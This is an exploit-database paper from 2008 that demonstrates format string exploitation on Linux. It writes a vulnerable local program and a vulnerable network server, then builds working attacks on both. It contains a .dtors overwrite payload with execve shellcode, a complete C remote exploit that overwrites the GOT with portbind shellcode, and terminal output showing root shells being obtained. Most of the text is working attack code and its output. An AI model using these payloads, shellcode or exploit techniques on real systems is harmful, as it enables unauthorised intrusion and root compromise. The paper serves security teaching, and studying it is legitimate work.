Format String Exploitation Demonstration [LINUX]

EDB-ID:

12995

CVE:

N/A


Platform:

Multiple

Published:

2008-12-01

Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]

Format String Exploitation Demonstration [LINUX]

This paper assumes you have read the proper background information and/or technical details about
the above subject. If not, please do so, because this read does not include key concepts but instead
technical exploitation examples. That being said, enjoy. Knowledge is power.

[PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL]

bugs@linux:~$ cat fmt.c
#include <stdio.h>

int main(int argc, char *argv[])
{

char buf[1024+1];

if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; }

     snprintf(buf, sizeof(buf)-1, "%s", argv[1]);
     printf(buf); // clearly a format string bug
     printf("\n");

return 0;
}

bugs@linux:~$ gcc -o fmt fmt.c
bugs@linux:~$ ./fmt
usage: ./fmt data
bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 20'`
AAAA.0x400.0x8048584.0xbffff727.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 12'`
AAAA.0x400.0x8048584.0xbffff73f.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141
bugs@linux:~$ 

*** OFFSET = 12 ***

bugs@linux:~$ nm fmt | grep DTOR
0804959c d __DTOR_END__
08049598 d __DTOR_LIST__
bugs@linux:~$ 

*** DTORS = 0x0804959c ***

bugs@linux:~$ gdb fmt
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) break main
Breakpoint 1 at 0x80483dd
(gdb) r `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Starting program: /home/bugs/fmt `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x080483dd in main ()
(gdb) i r            
eax            0x4015e47c	1075176572
ecx            0x0	0
edx            0xbffff2f4	-1073745164
ebx            0x4015bff0	1075167216
esp            0xbfffee80	0xbfffee80
ebp            0xbffff2a8	0xbffff2a8
esi            0xbffff300	-1073745152
edi            0x2	2
eip            0x80483dd	0x80483dd <main+9>
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0
(gdb) x/100x $esi+500
0xbffff4f4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff504:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff514:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff524:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff534:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff544:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff554:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff564:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff574:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff584:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff594:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5a4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5b4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5c4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5d4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5e4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff5f4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff604:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff614:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff624:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff634:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff644:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff654:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff664:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff674:	0x90909090	0x90909090	0x90909090	0x90909090
(gdb) q
The program is running.  Exit anyway? (y or n) y
bugs@linux:~$ 

*** RETURN ADDRESS = ~0xbffffxxx (lets use 0xbffff544) ***

bugs@linux:~$ pcalc 0x44-16  
	52      	0x34      	0y110100
bugs@linux:~$ pcalc 0xf5-0x44   
	177     	0xb1      	0y10110001
bugs@linux:~$ pcalc 0x1ff-0xf5
	266     	0x10a     	0y100001010
bugs@linux:~$ pcalc 0x1bf-0xff
	192     	0xc0      	0y11000000
bugs@linux:~$

Now lets put it all together...

    DTORS      -->    DTORS+1   -->   DTORS+2  -->    DTORS+3
\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08
    0804959c   -->   0804959d   -->   0804959e  -->   0804959f

Write our return address (0xbffff544) and offsets
%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n
    44  offset    f5  offset+1   ff  offset+2   bf  offset+3

Put our nops and shellcode on the stack
`perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
                 NOPS        +  SHELLCODE

bugs@linux:~$ ./fmt `printf "\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08"`%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n`perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
���   0    0    0       0�����1�1̀1�Ph//shh/bin��PS�ᙰ
sh-3.1# id
uid=0(root) gid=100(users) groups=100(users)
sh-3.1# exit
exit
bugs@linux:~$

[PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE]

Instead of using .dtors, we will use the Global Offset Table (GOT) for remote action.

[Terminal #1]

bugs@linux:~$ cat fmtserv.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFSZ 1024
#define READSZ 2048

int main(int argc, char *argv[])
{

if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; }

     int z, cli, serv, port = atoi(argv[1]);

     struct sockaddr_in client, server;

     server.sin_family      = AF_INET;
     server.sin_port        = htons(port);
     server.sin_addr.s_addr = INADDR_ANY;

if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }

if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }

if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }

for(;;)
{

     cli = accept(serv, (struct sockaddr *)&client, &z);

if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); }

}

     return 0;
}

int vulnerable(int sock)
{

     char buffer[BUFFSZ], readbuf[READSZ];

     memset(buffer,  0, BUFFSZ);
     memset(readbuf, 0, READSZ);

     read(sock, readbuf, READSZ, 0);

     snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability here

     send(sock, buffer, BUFFSZ, 0);

     close(sock);

}

bugs@linux:~$ gcc -o fmtserv fmtserv.c
bugs@linux:~$ objdump -R fmtserv

fmtserv:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049a5c R_386_GLOB_DAT    __gmon_start__
08049a6c R_386_JUMP_SLOT   close
08049a70 R_386_JUMP_SLOT   accept
08049a74 R_386_JUMP_SLOT   listen
08049a78 R_386_JUMP_SLOT   __libc_start_main
08049a7c R_386_JUMP_SLOT   printf
08049a80 R_386_JUMP_SLOT   bind
08049a84 R_386_JUMP_SLOT   snprintf // we will use this address
08049a88 R_386_JUMP_SLOT   atoi
08049a8c R_386_JUMP_SLOT   send
08049a90 R_386_JUMP_SLOT   htons
08049a94 R_386_JUMP_SLOT   memset
08049a98 R_386_JUMP_SLOT   socket
08049a9c R_386_JUMP_SLOT   read

bugs@linux:~$ ./fmtserv 1234

[Terminal #2]

bugs@linux:~$ nc localhost 1234
test
test
bugs@linux:~$ nc localhost 1234
AAAA%p%p%p%p%p%p%p%p%p%p
AAAA(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xa(nil)(nil)
bugs@linux:~$ nc localhost 1234
AAAA%2$x
AAAA41414141
bugs@linux:~$ 

Our offset is 2.

[Terminal #1]

bugs@linux:~$ gdb fmtserv
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r 5555
Starting program: /home/bugs/fmtserv 5555

[Terminal #2]

bugs@linux:~$ cat fmtsrvex.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define GOTADDR 0x08049a84 // snprintf() --> objdump -R fmtserv
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode

#define OFFSET  2
#define SIZE    1024

char shellcode[] = /* Linux Portbind @ 52972 */
		   "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
		   "\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1"
		   "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
		   "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
		   "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
		   "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
		   "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{

if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; }

     char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2), ((char *)GOTADDR),};
     int i, high, low, len, sock, port = atoi(argv[2]);

     struct sockaddr_in target;

     high = (RETADDR & 0xffff0000) >> 16;
     low  = (RETADDR & 0x0000ffff);

     high -= 0x8;

     sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET, (low - high) - 0x8, OFFSET + 1);

     memset(buffer + strlen(buffer), '\x90', 512);
     sprintf(buffer + strlen(buffer), "%s\r\n", shellcode); 

     len = strlen(buffer);

     target.sin_family      = AF_INET;
     target.sin_port        = htons(port);
     target.sin_addr.s_addr = inet_addr(host);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; }
     send(sock, buffer, len, 0);
     close(sock);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; }
     send(sock, buffer, len, 0);
     close(sock);

return 0;
}

bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c
bugs@linux:~$ ./fmtsrvex
Usage: ./fmtsrvex host port
bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555
bugs@linux:~$

[Terminal #1]

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/100x $esp+200
0xbfffea14:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea24:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea34:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea44:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea54:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea64:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea74:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea84:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffea94:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeaa4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeab4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeac4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffead4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeae4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeaf4:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb04:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb14:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb24:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb34:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb44:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb54:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb64:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffeb74:	0x90909090	0x90909090	0x90909090	0x6a58666a
0xbfffeb84:	0x52995b01	0x89026a53	0x5280cde1	0x02ff6843
0xbfffeb94:	0xe189ecce	0x5051106a	0xc689e189	0x80cd66b0
(gdb) q
The program is running.  Exit anyway? (y or n) y
root@linux:~# ./fmtserv 5555

[Terminal #2]

bugs@linux:~$ grep RETADDR fmtsrvex.c
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
     high = (RETADDR & 0xffff0000) >> 16;
     low  = (RETADDR & 0x0000ffff);
bugs@linux:~$ pico fmtsrvex.c
bugs@linux:~$ grep RETADDR fmtsrvex.c
#define RETADDR 0xbfffeaa4 // return address to hit nop slide + shellcode
     high = (RETADDR & 0xffff0000) >> 16;
     low  = (RETADDR & 0x0000ffff);
bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c
bugs@linux:~$ netstat -antp | grep 52972
(No info could be read for "-p": geteuid()=1000 but you should be root.)
bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555
bugs@linux:~$ netstat -antp | grep 52972
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 0.0.0.0:52972           0.0.0.0:*               LISTEN     -                   
bugs@linux:~$ nc localhost 52972
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
exit
bugs@linux:~$

Questions. Comments. Concerns. --> 0xjbrown41@gmail.com

# milw0rm.com [2008-12-01]